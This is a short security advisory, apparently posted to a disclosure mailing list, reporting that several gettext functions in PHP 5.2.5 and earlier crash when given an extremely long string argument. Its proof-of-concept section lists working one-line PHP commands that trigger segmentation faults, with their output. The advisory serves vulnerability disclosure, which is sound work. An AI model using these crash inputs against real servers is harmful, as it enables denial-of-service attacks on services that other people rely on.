<<< Date Index >>>     <<< Thread Index >>>

PHP <= 5.2.5 Gettext Lib Multiple Denial of service



Application: PHP <= 5.2.5 
Web Site: http://php.net
Platform: Unix
Bug: Multiple Denial of service
fonction: Gettext Lib multiple Denial of service 
special condition: Default php-memory-limit
Tested on : Debian 4.0 , Ubuntu , Freebsd with Suhosin 0.9.6.2  
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

dgettext(),dcgettext(),dngettext(),gettext(),ngettext(),dcgettext() are 
vulnerable to a Denial of service

=====
3)Proof of concept
=====

Proof of concept example :

root@unsafebox:/# uname -a
Linux unsafebox 2.6.20-16-generic #2 SMP Sun Sep 23 19:50:39 UTC 2007 i686 
GNU/Linux

root@unsafebox:/# php -v
PHP 5.2.5 (cli) (built: Nov 11 2007 07:56:04) 
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies

root@unsafebox:/# php -r 'dgettext(str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dngettext("hi",str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'gettext(str_repeat("A",8476509));'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'ngettext(str_repeat("A",8476509),"hi",-1);'
Erreur de segmentation (core dumped)

root@unsafebox:/# php -r 'dcgettext(LC_CTYPE,str_repeat("A",8476509),"hi");'
Erreur de segmentation (core dumped)



========
4)Greets
========
Benjilenoob,team soh, #futurezone, #soh

=====
5)Credits
=====
laurent gaffié